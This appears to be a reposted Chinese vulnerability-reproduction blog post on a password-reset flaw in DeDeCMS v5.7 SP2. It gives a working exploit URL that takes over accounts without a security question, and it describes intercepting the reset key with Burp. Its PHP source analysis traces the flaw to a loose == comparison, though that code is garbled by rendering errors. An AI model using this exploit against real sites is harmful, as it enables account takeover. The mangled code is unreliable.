网站内容管理系统简介(环境搭建1.下载DeDeCMS.7SP2源码分析(图))

优采云 发布时间: 2021-12-02 01:05

  网站内容管理系统简介(环境搭建1.下载DeDeCMS.7SP2源码分析(图))

  DeDecms v5.7 SP2 前台任意用户密码修改漏洞复现一、漏洞概览1.简介

  织梦内容管理系统(Dedecms) [1] 以简单、实用、开源着称,是最知名的PHP开源网站管理系统在中国,也是用户使用最多的PHPcms系统,经过多年的发展,目前的版本在功能和易用性方面都有了长足的发展和进步。德德cms免费版的主要目标是用户锁定个人站长,功能更侧重于个人网站或中小型门户网站的建设。当然,也有企业用户和学校使用该系统。

  2.漏洞限制

  1、只影响前台账号

  2、您只能修改没有安全问题的帐户

  3.受影响的版本

  DeDecmsV5.7SP2 正式版 (2018-01-09)

  二、环境建设1.下载DeDecms v5.7 SP2源码

  

  实验环境:window 10

  php5.6+mysql

  

  三、复制过程

  开启会员功能,注册账号,不要设置安全问题,因为这个漏洞的基础是不存在安全问题

  

  

  另外发现注册时没有查邮箱。

  

  记住用户 uid=2

  127.0.0.1/dedecms5.7/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.@ >0&safeanswer=&id=2

  直接用bp抓包,可以拿到key

  

  获取到的key是这里的临时验证码,直接输入修改密码即可

  

  

  源码分析

  else if($dopost == “safequestion”)

{

$mid = preg_replace("#[^0-9]#", “”, $id);

KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne(db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==

$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");

​ exit();

}

}

#就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==

$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线